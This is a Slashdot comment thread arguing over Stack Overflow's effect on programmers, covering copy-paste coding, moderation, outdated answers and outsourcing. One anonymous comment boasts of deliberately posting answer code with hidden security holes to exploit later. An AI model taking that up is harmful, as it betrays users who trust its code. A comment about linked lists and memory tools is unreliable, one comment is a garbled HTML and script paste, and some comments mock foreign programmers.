      Presumably, in your case, you'll not only know enough to get up to speed quickly but you'll know which questions to ask in order to get up to speed quickly. You won't need to ask vague questions or, basically, need someone to write a step-by-step for you (which is also something seen). Another that irks me is when they person insists that it is urgent and tells (not asks) you to do something. "Send me a step-by-step." "Write the script for me." That seems cultural, in many cases, so I am not really qualified to opine as I am not a cultural studies or anthropology student or anything. I'm thinking that gratitude is implied but poorly conveyed in text so that my being irked may not be entirely justified in those cases even if I feel they should learn the cultural conventions if they're going to learn the languages.

      At any rate, I assume that you're capable and competent enough to know how to be a DBA. To put your example into context, it would be like someone saying that they're a DBA and have been for years only to follow it up by asking what joins and tables are.

      --
      "So long and thanks for all the fish."
  4. as if by Anonymous Coward · · Score: 0

    developers can now just ask Stack Overflow users to solve it for them. The questioner may receive and use an answer with code they do not truly understand; they just know it fixes their problem.

    yeah this is how it's been done all along, nothing is any different

    1. Re:as if by Anonymous Coward · · Score: 1

      Often I'll post code as a solution to their problem that contain subtle and unique security holes that I can find and exploit later. I've yet to find one of these in any commercial software of any consequence, but I figure it's only a matter of time.

  5. buyer beware by jsepeta · · Score: 1

    how is this any different from people self-diagnosing their problems using WebMD?

    --
    Remember kids, if you're not paying for the service, YOU ARE THE PRODUCT THAT IS BEING SOLD.
    1. Re:buyer beware by Actually,+I+do+RTFA · · Score: 2

      Well, sometimes the replies are amazing. "This is an undocumented way the compiler actually works" or "the debugger is actually crashing here, the reasons why are X, Y or Z, good luck.

      Sometimes the replies make it easier to figure out how to use a library.

      Sometimes they point to papers on algorithims I never found on my own.

      But you have to be able to read it to separate the signal from the noise. It's more like the Physician's Desk Reference. Great if you're a doctor, maybe only as useful as WebMD if you're not.

      --
      Your ad here. Ask me how!
    2. Re:buyer beware by Anonymous Coward · · Score: 0

      I agree:

      I've seen many terrible question posters, and terrible responders who either don't know the answer, insist on answering a different question, or who nitpick for the enjoyment of pedantry. And of course terrible answers.

      Yet despite all, I still use the site, there is a lot of good material on SO.

    3. Re:buyer beware by Dutch+Gun · · Score: 1

      I've seen some *amazing* replies on SO that must have easily taken the programmer an hour or more to craft. The great thing is that answers of that quality tend to get voted up highly, and lots of people seem to point links to that page, so Google ranks it quite highly. This means that great answer is going to be what programmers find when searching for that particular topic, and I think that's absolutely fantastic.

      What's hilarious to me is when I get to a SO question, and you have the inevitable jerk that tells the person asking the question to just "Google the answer". My inevitable thought is: how the hell do you think I got here, you self-righteous ass? I saw a great response from someone else as well, which was: "someone has to first answer the question before Google can link to an answer."

      Stack Overflow has been an amazingly helpful resource for me as an independent programmer. My most recent use case: I realized I couldn't continue to use a hash function I found a few years ago due to its license (I misunderstood what the LGPL meant in terms of compliance with closed source projects), so I found a discussion of alternate non-crypto hash functions with more permissive licenses, and found the name of one, which lead me to its Wikipedia page, which in turn had a full C-source code example. A hash function is one of those things that you're unlikely to do better by yourself than if you simply copy code that's been tested and vetted.

      --
      Irony: Agile development has too much intertia to be abandoned now.
    4. Re:buyer beware by jeremyp · · Score: 1

      I've seen some *amazing* replies on SO that must have easily taken the programmer an hour or more to craft. The great thing is that answers of that quality tend to get voted up highly, and lots of people seem to point links to that page, so Google ranks it quite highly.

      For a long while, my top rated answer on SO was this joke.

      I have written one or two answers of which I am quite proud and that took me an hour or two to craft, but my current top rated answer by a mile is a two line snippet of code demonstrating how to split a string in Objective-C.

      What's hilarious to me is when I get to a SO question, and you have the inevitable jerk that tells the person asking the question to just "Google the answer". My inevitable thought is: how the hell do you think I got here, you self-righteous ass? I saw a great response from someone else as well, which was: "someone has to first answer the question before Google can link to an answer."

      Soon after I started posting, somebody added some code to the site that refused to allow any answers with lmgtfy.com embedded as a link. I was outraged for about five seconds.

      --
      All I want is a secure system where it's easy to do anything I want. Is that too much to ask ~~ Randall Munroe
  6. Language vs Library by darkain · · Score: 4, Insightful

    For me, I use stack overflow for library related issues, not language related. Dealing with bullshit subtleties of things like jQuery, instead of fucking around for hours trying to figure out why a particular function has a weird ass edge case, someone else has already figured it out and documented it. It just so happens that said documentation is the comments within StackOverflow.

    1. Re:Language vs Library by fatgraham · · Score: 1

      +1 I usually use it looking for explanation of bugs, or if I'm being stupid, not for whole solutions.

    2. Re:Language vs Library by Guybrush_T · · Score: 3, Insightful

      It is actually also a good source for language-related issues, good practices, often with links to relevant documentation. It is always good to discuss and share about programming and spread the knowledge. Whether readers will really try to understand or not is a different story and should really not be SO's fault. Whatever the way you spread programming-related information, there will always be some who just want to copy-paste it (and sometimes for good because their usage is not critical at all).

    3. Re:Language vs Library by jopsen · · Score: 1

      For me, I use stack overflow for library related issues, .....

      Yeah, or when working with some specification, and for some reason all other implementations does the wrong thing :)

    4. Re:Language vs Library by Anonymous Coward · · Score: 0

      > someone else has already figured it out and documented it

      This is the reason we need Overflow, because the packages in common use are so full of subtleties and so empty of documentation. I started as a student working with VMS 3.7 and was awed at the thorough documentation. But there is simply no time and money now for companies (or, especially, loose groupings of open-source developers) to design components and systems and write good docs.

      My big time-wasting problem today was in Hibernate. Stack Overflow helped me understand some parts of my problem, and misled me on others. But the official Hibernate page I ran across was priceless:
      "Where is the tooling for Hibernate ORM 5? It's not ready yet. It bothers us too but we preferred to release early ORM 5 and catch up on tooling later. Small team, yadayadayada. Let us know if that's an itch you want to scratch and want to contribute."

      What we really need as an industry is a set of best practices and attendant answers to common questions, tailored for each version of each software package. The vendors aren't going to supply this, so Stack Overflow is a good and useful substitute. I wish I'd thought of it and made it myself.

  7. Stack overrated by Anonymous Coward · · Score: 3, Interesting

    The best-rated answers aren't always the most effective or maintainable, but they do tend to be the ones that look neatest at first sight, and almost invariably are written by someone already with a high score.

    When I was a junior developer, I used to think that this this sort of thing demonstrated the hypothesis about most programmers being mediocre with a few stars. Now I learn that's it's just a small subset of people have a lot of time to spend answering cookie-cutter questions and know how to express confidence in their solution, and you get the Wikipedia effect where one bad answer has been given and suddenly everyone else is repeating it as gospel - not realising that it's because they all got the bad answer from Wikipedia/Stackoverflow/whatever peer-to-peer collaboration site is relevant to the field.

    1. Re:Stack overrated by Anonymous Coward · · Score: 0

      Yes, but that's not a new problem. That's been an issue with written information since the beginning of time. Hell look at the Creationists.

    2. Re:Stack overrated by Anonymous Coward · · Score: 0

      The best-rated answers aren't always the most effective or maintainable

      ... nor are they always correct, and this is true across the entire stack exchange community. Generally, the readers vote up high scoring answers quickly, and even if the OP does not mark a question answered, the question will fall into the stack where it waits until returned for search results, often with the most popular and highest scoring answer being wildly incorrect.

  8. Declining use by Anonymous Coward · · Score: 0

    Topics on a significant decline include Silverlight, Joomla, Clojure, and Flash (not to mention emacs, for some reason).

    Probably in large part because people are coming to their senses and they're choosing to use a better editor/IDE with all the functionality they need but without the arcane control interface. The days of editors with difficult command structures (i.e. vi and emacs) are coming to an end. You don't have to hide powerful editor features behind an arcane interface any more. And while I will probably use vim until I'm on my death bed simply because I already went through the pain to learn it, I recommend to all the incoming kids to avoid vi and emacs like the plague.

    1. Re:Declining use by Anonymous Coward · · Score: 1

      I recommend that everybody learn just enough about vi to be able to use it (or its available equivalent, e.g. vim) on a system that lacks any other text editing capabilities (barring sed, because nobody should ever have to use sed manually).

      And then don't use it for day-to-day tasks. Use something sensible for daily work. Nano and pico are ok, if you're a CLI junkie. A basic GUI text editor will still probably be faster for most users. (Except Notepad on Windows. That thing is terrible.)

    2. Re:Declining use by Anonymous Coward · · Score: 0

      Every *nix operating system these days comes with a GUI and several good editors. Even on the command line (with most people never use these days), you can get by just fine with nano or something like that for most tasks. If you're doing professional development, you have plenty of good tools to use besides vi or emacs.

    3. Re:Declining use by NotInHere · · Score: 1

      nano is a pile of shit. It doesn't even support searching with "/". I don't know much of vim, for example I use arrow keys instead of the letter based controls, but nano is too much lacking for my needs.

    4. Re:Declining use by Anonymous Coward · · Score: 0

      nano is good enough to edit the one config file that's keeping your X server from running properly. Once you restore regular functionality, there are a ton of really good graphical editor choices (most of which don't use vi's search with a "/" but are still really great editors).

  9. usenet lists by tomhath · · Score: 4, Insightful

    The complaints remind me of the old usenet groups, especially C and perl programming. A few people appointed themselves to be the arbiters of what could be posted, and flamed anyone who didn't meet their personal standards.

    On the other hand, take away that moderation and the site quickly degenerates into what /. has become. Given the choice, I'll take StackOverflow the way it is.

    1. Re:usenet lists by __aaclcg7560 · · Score: 1

      One poster on a Python list complained that my email address (first and middle name initials, last name) didn't match my signature block (first name, last name). Never mind that he went by a nickname that has absolutely nothing to do with his matching email address and signature block. I ended up re-subscribing to the list under a different email address. I'm surprised he didn't complain that I use a short variation of my first name.

    2. Re:usenet lists by dotancohen · · Score: 4, Insightful

      The complaints remind me of the old usenet groups, especially C and perl programming.

      Even worse than that, one would expect the author's examples to actually illustrate his point, but the examples given are terrible questions that should in fact be closed by any objective measure. The problem is that the author wants to use emotion ("it's _my_ question") to keep his dupes open.

      For example, his "Does Stack Overflow have any way of preventing vote trolls" question was marked as a dupe of "How to react to unfair downvotes". Though superficially a related but distinct question, in fact his question is a request for clarification about the general case discussed in the question his was marked as a dupe of. People who engineer objective code will see this, people who copy and paste but do not understand why things work the way they do just won't see it, it's a left-brain vs. right-brain issue. So the system is self-filtering, that's fine.

      I remember how hard it was to get rep on ServerFault, the SO site for server admins. Any question that I asked I felt was downvoted or closed. Now that I understand the concepts, I understand why. And not understanding why but getting frustrated with the SF community helped me formulate better questions and propelled my knowledge. And when I do turn to SF now, I'm glad that newbies like I was are kept at bay and there is room for the real admins to discuss real admin problems.

      --
      It is dangerous to be right when the government is wrong.
    3. Re:usenet lists by Anonymous Coward · · Score: 0

      A few people appointed themselves to be the arbiters of what could be posted, and flamed anyone who didn't meet their personal standards.

      Hello and welcome to Slashdot. Perhaps you could elaborate your comment further and show references. Also, be aware that using formatting will help your comment to be more easily read and will improve chances of receiving moderation points. If you improve your comment by adding references, I will award you a point of moderation.

    4. Re:usenet lists by Dog-Cow · · Score: 1

      Where did your knowledge go?

    5. Re:usenet lists by dotancohen · · Score: 1

      Where did your knowledge go?

      Oh, I'm still stupid! But at least now I know that I'm stupid.

      --
      It is dangerous to be right when the government is wrong.
  10. lot of H1B style questions by Anonymous Coward · · Score: 1

    "I have Requirement to build java website. Provide info on how to write the Java. Please do the needful."

    1. Re:lot of H1B style questions by Anonymous Coward · · Score: 0

      You forgot:
      plz send teh codez

    2. Re:lot of H1B style questions by __aaclcg7560 · · Score: 3, Insightful

      "I have Requirement to build Python website. Provide info on how to write the Python. Please do the needful."

      FTFY - Which, coincidently, was a question I read on the Python email list this morning.

  11. To the Googles by Ranger · · Score: 1

    My debugging tool is to paste the offending code in the Google search bar, hit return and see if anyone else has had the same error. And usually someone has. And Stack Overflow is usually near the top of the search results, though the quality of the answers in the search results vary.

    --
    "You'll get nothing, and you'll like it!"
  12. SO can also lead to outdated answers by dmomo · · Score: 4, Insightful

    Duplicate questions are discouraged on the site. This is problematic because the accepted answer will remain the apparent authority even while languages evolve or APIs change. I see it happen a lot with jQuery, for instance.

    1. Re:SO can also lead to outdated answers by hattig · · Score: 2

      I have noticed this too.

      For example security related answers date really badly, and I'm sure we all agree that we don't want developers coming along and developing something around what was common practice five years ago (e.g., SHA-1). I think there needs to be some form of expiration that can be set, so that people can see that an answer, or full set of answers, is not to be trusted.

    2. Re:SO can also lead to outdated answers by Anonymous Coward · · Score: 0

      They need to amend the policy that duplicates are allowed after X amount of time or for each major/minor version of the subject (ie: a Java 1.4 solution would be out-of-date or sub-optimal for Java 1.5).

    3. Re:SO can also lead to outdated answers by halivar · · Score: 1

      By that same token, I have seen many out-of-date answers replaced in popularity by up-to-date answers. The system works pretty well from my experience.

    4. Re:SO can also lead to outdated answers by hcs_$reboot · · Score: 1

      Well, the guy giving the link to the older answer, and flagging the new one as duplicate, should be able to figure out by himself if the old answer is still valid.

      --
      Slashdot, fix the reply notifications... You won't get away with it...
    5. Re:SO can also lead to outdated answers by majid_aldo · · Score: 1

      that's why i check the vote count instead of (just) the accepted answer

      --
      --- widget evolution: enhanced, plus, super, ultra, extreme, exxxtreme, ultra-extreme, ..etc.
  13. My New Book Title by Anonymous Coward · · Score: 0

    The Zeitgeist : Faster than the Speed of Love!

    Suck on it Dana! And that's a girl's name, DANA!

  14. Stackoverflow didn't invent buckethead programming by swillden · · Score: 1

    The process of copying and pasting an incompletely or not at all understood solution isn't in any way new. Back in the early 90s one of my colleagues coined the term I've used ever since for this and related programming anti-methods: buckethead programming. The metaphor is of programming with a bucket over your head so you can't see what you're doing but instead just stagger in random directions until you accidentally bump into something that appears to work... at which point you leave it and stagger your way through the next obstacle that arises.

    I suppose you can argue that stackoverflow has made buckethead programming easier or more accessible, but people were grabbing random snippets of code from existing codebases, or from magazine articles, or blog articles, etc., long before it existed. If it weren't for stackoverflow concentrating such knowledge in one place, we'd be lamenting Google's role in enabling crappy programmers to find solutions they don't understand.

    --
    Note to ACs: I usually delete AC replies without reading them. If you want to talk to me, log in.
  15. code quality argument not sound by Anonymous Coward · · Score: 0

    !doctype html> html> head> style> !-- a:link { color: #000000 }a:visited { color: #000000 }a:hover { color: #000000 }a:active { color: #000000 } --> /style> script> !-- function ){var d this;var f String.prototype.trim?function a){return a.trim )}:function a){return a.replace /^[ s xa0]+|[ s xa0]+$/g,"")},g function a,b){return a b?-1:a>b?1:0};var h;a:{var p d.navigator;if p){var q p.userAgent;if q){h q;break a}}h ""}var r function a){return-1! h.indexOf a)};var t r "Opera")||r "OPR"),u r "Trident")||r "MSIE"),v r "Edge"),w r

    ps: unless /. copy pastes from SO

  16. Re:Stackoverflow didn't invent buckethead programm by PhrostyMcByte · · Score: 1

    Agreed. And while people might complain that it makes "buckethead programming" easier, the thing that's not stated is that it also makes it easier for good experienced programmers, which is a significantly better gain. After all, most of those "buckethead" newbies will eventually stop being such.

  17. Who enjoys struggling? by HeckRuler · · Score: 3

    Some critics believe that rather than truly struggling with a problem, developers can now just ask Stack Overflow users to solve it for them.

    Get a load of these guys. As if "struggling" should be applauded and praised. I understand that there's a certain skillset with generic problem solving. The first step is to consult the grand answer of questions, the google, and see if this is common knowledge. IF NOT, the second step should be to ask for specialized knowledge, which is where stack overflow (and more broadly, stack exchange) excels. Another great resource for that second step would be your co-workers, peers, or teacher. Because this is how you learn. After that, sure, it's a hard problem you actually need to develop something novel or drill down to the root problem.

    Hey, there is certainly variance when it comes to how tenacious people are. And it'd be great if people followed up the solution and figured out that "why" portion. But that doesn't mean we should snub those asking questions. You can lead a horse to water, etc.

    Do we REALLY want a billion people banging their head on a brick wall just trying to find out why their string needs to be null terminated? Can't we just tell them?

    (Also, it's a communally generated users-manual for WAY too many projects out there. MSDN sucks)

    1. Re:Who enjoys struggling? by Yunzil · · Score: 3, Insightful

      Get a load of these guys. As if "struggling" should be applauded and praised.

      Yeah. A lot of the time I don't even care to understand the answer because it's incidental to the underlying problem I'm trying to solve. If I'm trying to build a frobnicator and I'm getting hung up on some trivial little linker error, I could spend hours digging into the problem until I truly understand it, or I could check Stack Overflow and be on my way in 5 minutes.

    2. Re:Who enjoys struggling? by bradrum · · Score: 4, Insightful

      Struggle up to a certain point. I had an algorithms professor who said, "spend 30 minutes on a problem", then when/if you get to a dead end after 30 minutes...
      Doesn't mean "don't try this problem because this looks hard". Do try, but don't run around in circles.

  18. emacs shemacks by Anonymous Coward · · Score: 3, Insightful

    Emacs questions may be lacking because it has a dedicated stackexchange site of its own.

  19. IRC by Anonymous Coward · · Score: 0

    But before stack overflow we all just asked and discussed on IRC. And most channels have a FAQ to avoid said signal to noise ratio. Nothing is new here, just the volume.

    1. Re:IRC by NotInHere · · Score: 1

      And the googleability.

  20. Hubris by avandesande · · Score: 4, Interesting

    "Others are worried about how Stack Overflow has impacted programming fundamentals. Some critics believe that rather than truly struggling with a problem, developers can now just ask Stack Overflow users to solve it for them"

    It's pretty rare that someone will discover on their own a better solution then a more experienced developer. I have learned quite a lot looking at other's solutions to a problem... in particular where the tool is not the best for the job.

    --
    love is just extroverted narcissism
    1. Re:Hubris by Anonymous Coward · · Score: 0

      It's pretty rare that someone will discover on their own a better solution then a more experienced developer.

      It should be "than".

      Yours truly,
      Anonymous Coward who is more experienced at grammar.

    2. Re:Hubris by bradrum · · Score: 1

      I will agree about the tools sentiment. That is where I have picked up a ton useful stuff from Stackoverflow. Check out this tool or check this obscure piece of documentation.

  21. Re:Stackoverflow didn't invent buckethead programm by ickleberry · · Score: 1

    Buckethead programming was what we were told in college, "copy these few lines of code, get I2C to work! Bobs yer uncle!" No emphasis on understanding what a function does and its different uses. If you asked this lecturer something he would bluff his way around it, because he himself didn't know.

  22. Information is Power by TiggertheMad · · Score: 2

    Can't we just tell them?

    Lord no, if you know information, you have power. You cannot just give your hard earned power away to just any pleeb that has the gumption to ask. Also:

    "Some critics believe that rather than truly struggling with a problem, developers can now just ask Stack Overflow users to solve it for them."

    Couldn't this also be extended to books? I mean, how are you truly learning anything if you can just pick up a book and read about how to solve a problem? These 'critics' are just obstructionists who are afraid of sharing information and allowing more people to be effective coders. Yeah, sure, there will be some bad coders who don't understand what they are doing, but really, who cares? The site has and will be an excellent educational tool for a vast number of people.

    Good coders don't have to rely on hoarding information to be good.

    --

    HA! I just wasted some of your bandwidth with a frivolous sig!
  23. How did this crap article make it past /. firehose by Anonymous Coward · · Score: 0

    Really. Look at the linked blog post about fullstack devs. The aythor claims to know it all (first warning sign) and that a fullstack dev is someone who is great at copy pasting. That is so far from the obvious reality of fullstack developer life that it hurts. You can't get a fullstack system running with copy pasting. It will simply not work.

  24. Stack overflow full of hipsters by Anonymous Coward · · Score: 3, Insightful

    Still beats expert sex change.

  25. Not just development by ErichTheRed · · Score: 1

    Systems work is impacted by this style of quick fix answers as well. There's ServerFault, as well as vendor support forums and other sources. I love and hate these sorts of resources. They're great because they get fixes and workarounds out there far faster than official vendor support channels can. What they're awful for is providing half-working or potentially dangerous answers that look fine but may not apply at all to the problem at hand.

    You can say that the root cause of the problem is inexperienced sysadmin staff, and you would be right. However, the same problem exists on the developer side. On the admin side, it's worse because there are honestly a lot of admin staff who can't automate, can't script and some have trouble with the command line. Therefore, when the requirement comes up to do so, these admins are at the mercy of sites like this. The worst of them copy and paste script code without knowing a thing about what it does.

    The state of programming and IT doesn't need to be measured by StackOverflow or ServerFault data. It needs to be measured by the number of staff who lean on these resources too hard and lack the fundamental troubleshooting/reasoning skills to filter the content.

    1. Re:Not just development by Anonymous Coward · · Score: 1

      I would prefer USENET newsgroups had remained the exchange medium. These web forums are an annoyance and scattered three sheets to the wind.

    2. Re:Not just development by tibit · · Score: 1

      SO/SE are definitely not forums and aren't supposed to be used that way. They are Q&A sites, not discussion sites.

      --
      A successful API design takes a mixture of software design and pedagogy.
  26. Too easy? by Anonymous Coward · · Score: 0

    You can say the same thing about any book, tutorial or article that contains code. E.g. Sedgewick's "Algorithms in C".

  27. Meanwhile, in quieter corners by hackertourist · · Score: 1

    I've been using SE a lot recently. The languages I use a are a bit off the beaten path, and when I filter questions for those languages only, the degradation isn't visible. I can usually find the information I need, my questions get answered comprehensively and correctly, and answering other people's questions helps me hone my own skills. I wouldn't want to lose SE.

  28. Re:Stackoverflow didn't invent buckethead programm by avandesande · · Score: 1

    I remember when the goto source was dejanews....

    --
    love is just extroverted narcissism
  29. Unregulated Profession by seoras · · Score: 4, Interesting

    Yesterday there was a post titled "The History of SQL Injection, the Hack That Will Never Go Away ".
    Someone raised a good point that the problem was more economics than technology.
    Employers, with no clue about technology, "employing monkeys and paying them peanuts" to produce something that looks visually ok but hacked into existance underneath.

    We, programers, work in an unregulated profession which keeps it dynamic, fast paced and forever evolving.
    Regulation = stagnation
    So, yes, there's a lot of crap code out there and it won't go away - live with it.

    Without Stackoverflow years of man hours would be wasted struggling to figure out some problem that has already been solved by someone else.
    Wasn't that the idea behind the free software movement, not having to re-invent the wheel each time?
    What about re-debugging, re-attaching, the wheel each time?

    If the strength of our profession is in the fluidity, speed of adaptation and evolution then something like Stackoverflow is essential.
    If you really need the accreditation of a regulated profession then ask an interviewee for their Stackoverflow account to see what questions they've ask and answered.

    Stackoverflow is the best thing that's happened to our profession that I can remember in my 25 years as a programer.

    1. Re:Unregulated Profession by Dog-Cow · · Score: 1

      Wasn't that the idea behind the free software movement, not having to re-invent the wheel each time?

      No. At least not if you mean Stallman's Free Software movement. His goal was to prevent obsolescence of hardware by the manufacturer, but allowing for the customer to add features or fix bugs in the accompanying software.

    2. Re:Unregulated Profession by Dog-Cow · · Score: 1

      *by, not but.

    3. Re:Unregulated Profession by Anonymous Coward · · Score: 0

      BS.

      "Without Stackoverflow years of man hours would be wasted struggling to figure out some problem that has already been solved by someone else."

      That's how you learn.

      SO has destroyed the workplace for older more experienced engineers. These are the guys you used to turn to to solve problems. Now a few lazy keystrokes and some bloke on the internet will solve your problems for you. Great for dumb lazy programmers, not so great for the older war-hardened programmers.

      Stop helping offshorers!

      Hire Local / Manufacture local / F@ck the globalists

  30. a product of its times by Anonymous Coward · · Score: 0

    You get a bizarre error message from deep in your toolchain. You paste it into Google. Stack Overflow always comes up. There's some minor version that breaks another tool's minor version, and if you fix it, the new minor version changes syntax and you paste THAT bizarre error message into Google and repeat. Stack Overflow is a symptom of too much change too fast, where no one really learns anything in depth.

  31. Re:Stackoverflow didn't invent buckethead programm by swillden · · Score: 1

    I remember when the goto source was dejanews....

    Youngster :-)

    --
    Note to ACs: I usually delete AC replies without reading them. If you want to talk to me, log in.
  32. Stack Overflow used to great, now they suck by Anonymous Coward · · Score: 0

    Much like wikipedia, they have a bunch of arrogant pricks in charge of who can post what.

  33. avoid stack overflow by Anonymous Coward · · Score: 0

    stack overflow is a cancer of people (mainly admins) flexing their ego's. You can ask valid questions and get toxic replies

    1. Re:avoid stack overflow by Dog-Cow · · Score: 1

      Unless the admins are answering the questions, your statement makes no sense.

  34. Re:Stackoverflow didn't invent buckethead programm by jopsen · · Score: 1

    buckethead programming. The metaphor is of programming with a bucket over your head so you can't see what you're doing but instead just stagger in random directions until you accidentally bump into something that appears to work... at which point you leave it and stagger your way through the next obstacle that arises.

    I love this term and definition... thanks! :)

    Also while it is horrible, buckethead programming is sometimes a valid strategy... Need to write some static HTML UI for an internal API and you want to make it look pretty: buckethead programming the HTML, CSS and even some of the JS is a fast cheap and valid approach...

    If it's just a quick internal thing, there no reason to spend 2 days learning angular, react.js or some other framework. Just buckethead program that thing and stick your head in the sand.

    I agree though that buckethead programming is crazy if you're developing a serious high quality product that needs to be maintained. But many things doesn't have so high standards.

  35. Re:Stackoverflow didn't invent buckethead programm by mikael · · Score: 1

    That was like computer algorithms class. The official recommended textbooks were the classics on algorithms; Sorting, Queuing, Multithreading with problems like the dining philosophers, going all the way up to how to do a discrete FFT transform. These were all recommended as *the* algorithms to use that "just worked", and it wasn't worth trying to design something faster.

    --
    Vintage computer adverts: http://www.vintageadbrowser.com/computers-and-software-ads
  36. Linked lists have a downside... apk by Anonymous Coward · · Score: 0

    They can cause memory fragmentation + thrash in the memmgt subsystem, unlike arrays which demand contiguous memory, linked lists do not and while that's often touted as an upside (via pointers galore back & forward if doubly linked), it's been shown to halt Exchange servers if you do enough of those pointers to anywhere in ram long enough fragmenting it... fact.

    (If given enough small data, it leaves NO larger chunks available & THIS is the problem... if they're overused!)

    APK

    P.S.=> A little something I used vs. (of all people) Dr. Mark Russinovich in 2003 @ the Windows IT Pro Magazine forums in his article "The Memory Optimization Hoax" & of all things, MS' "ClearMem.exe" was the tool used to unhalt and SPEEDUP those frozen Exchange Servers via MS' own documentations on it working to do so (clearmem is just the same tech as GUI ones but no niceties like scheduling it etc. & I designed the FIRST one no less)... apk

  37. My personal stack overflow experience by Forever+Wondering · · Score: 3, Informative

    I've been posting/moderating slashdot for years, but just started with stack overflow. Here's my experience.

    I definitely agree with and have seen what the articles are driving at. In particular, the "The Decline of Stack Overflow" is absolutely 100% on the money.

    I answer questions. At least five / day. In a short time [about a month], I amassed 1000+ rep points. I'm now in the top 0.5% for the quarter. The article's comment about "SO hates new users" is true. Before I got to this point, I used to have more difficulty with certain people. As my point total got higher, the snark level went down. Ironic, because I was doing [trying to do] the best job I could at all times. My answers didn't change in terms of quality, just the tone of comments I got back.

    When I post an answer, I take several approaches. Sometimes, a simple "use this function instead" is enough. Sometimes, "change this line from blah1 to blah2". If the OP has made an honest effort to be clear, but the posted code is way off the mark (e.g. has more than two bugs), I'll download it clean it up for style [so I can see OP's logic before I try to fix it], fix the bugs [usually simplifying the logic] and post the complete solution with an explanation of the changes and annotations in code comments.

    This is the "cut-n-paste" solution. I may be just doing somebody's homework for them. But, usually, it's just somebody who spent days on the code and is "just stuck" [I've asked some OPs about this]. The controversy is that "if you do that, they'll never learn anything". Possibly. But, it's part of my judgement call on type of response to give. IMO, in addition to research and traditional classes/exercises, one of the best ways to learn is to read more advanced "expert" code. Compare one's original to what the expert did and ask "Why did they do it that way?!". This may foster more research on their part and they will have an "AHA! moment"

    Unlike slashdot, one can edit a post [either a question or an answer] and you can delete them. Comments can edited for five minutes and deleted anytime. Now this will seem goofy: If you comment back and forth with a given user over an answer one of you gave, either a collegial discussion or a flame war, eventually an automatic message comes up asking if you'd like to transfer your "discussion" to a chat page. Also, because comments are limited to 500 chars, I sometimes have to post a partial, incomplete answer because what I need to say needs better formatting/highlighting than a comment and wouldn't fit in a comment, even though it's more appropriate as a comment.

    The goofy thing is that you start with 1 rep point. You can post a question or a full answer. But, you can't yet post a comment!?

    On SO, people edit their questions and answers, based on feedback in the comments. The answer may be edited several times before questioner accepts it. Sometimes, for complex questions, it can take a day or two to come up with the right answer.

    Despite all this, once and a while, I get a "heckler" who doesn't like an answer [even though it's correct]. It goes several rounds in the comments, usually the other person doesn't understand the problem space enough to realize the answer was correct [or more subtle than they realized]. So, it goes back and forth, and each time I explain how I was correct, adding clarification or highlighting what I said originally. Eventually, the heckler says "Your answer doesn't answer the question". This is for an answer the OP questioner has "accepted" as the best one.

    I've seen reasonable questions downvoted within minutes [I upvote them back]. I've seen people threaten to close the question as unclear, requires opinion, or can _not_ be answered as described. The last one is funny, because the question is clear to me, and I provide a correct answer [that eventually gets upvoted and/or accepted]. Sometimes I send the commenter who is threatening doom a message [you can direct a comment to

    --
    Like a good neighbor, fsck is there ...
  38. Wisdom of the ancients by Anonymous Coward · · Score: 0

    More often that Google search only gets me one of these results https://xkcd.com/979/

    Of course that just might be an effect of Google's refusal to accept true literal searches anymore. God I miss AltaVista's "near" search modifier...

    1. Re:Wisdom of the ancients by Ranger · · Score: 1

      There is much truth in what you say. All hail XKCD.

      --
      "You'll get nothing, and you'll like it!"
  39. SO great an example of poor gamification. by Anonymous Coward · · Score: 0

    It's not entirely their fault. They were doing it before gamification was well understood. Now it's an example of how to create a system that doesn't align with the websites stated goal. Offering that there is anyway to improve the system (on meta) is greeted with downvoting and flagging of anything you've ever done.

  40. 400K questions/month - but how many answered? by Anonymous Coward · · Score: 0

    Last I checked, the average question only had 20 views after 1 day, and the typical question didn't not receive an answer. Woe unto your question if it is not in a popular subject. This tells me the vast majority of people just post questions and never answer questions.

    1. Re:400K questions/month - but how many answered? by Dog-Cow · · Score: 1

      Most questions are rather poor, have too little information provided, or require familiarity with the specific library the questioner is asking about. Not all questions are answerable with the information provided, and many times the questioner will ignore any request for clarification.

  41. 400,000 by Anonymous Coward · · Score: 0

    Half of them are a security nightmare, a large chunk some kids homework or some outsourced job to checkerslovakiastan, and the rest by people too cheap to hire a programmer for them.

  42. Asking Q's on 'Stack Overflow' is a scarlet letter by finlayson · · Score: 1

    Let's face it - truly top-tier programmers would not dream of asking questions on 'Stack Overflow'. I, and many other people, would be reluctant to hire anyone who has a history of asking questions there.

  43. Stop contributing to outsourcers on StackOverflow by Anonymous Coward · · Score: 0

    Programmers from cheap labor countries with below average skills use these sites to do their work, in essence these guys are 'stealing' work from higher caliber local programmers. Sorry if this irritates you SO contributors but you are responsible for the acceleration of job loss in first world countries. I'm a long time immigrant so don't think this is coming from a xenophobic place.

    Where are the jobs for our kids if we keep sending all the work overseas ? Please think before 'contributing' and 'helping' these guys.

    Hire Local / Manufacture Local. F@ck the globalists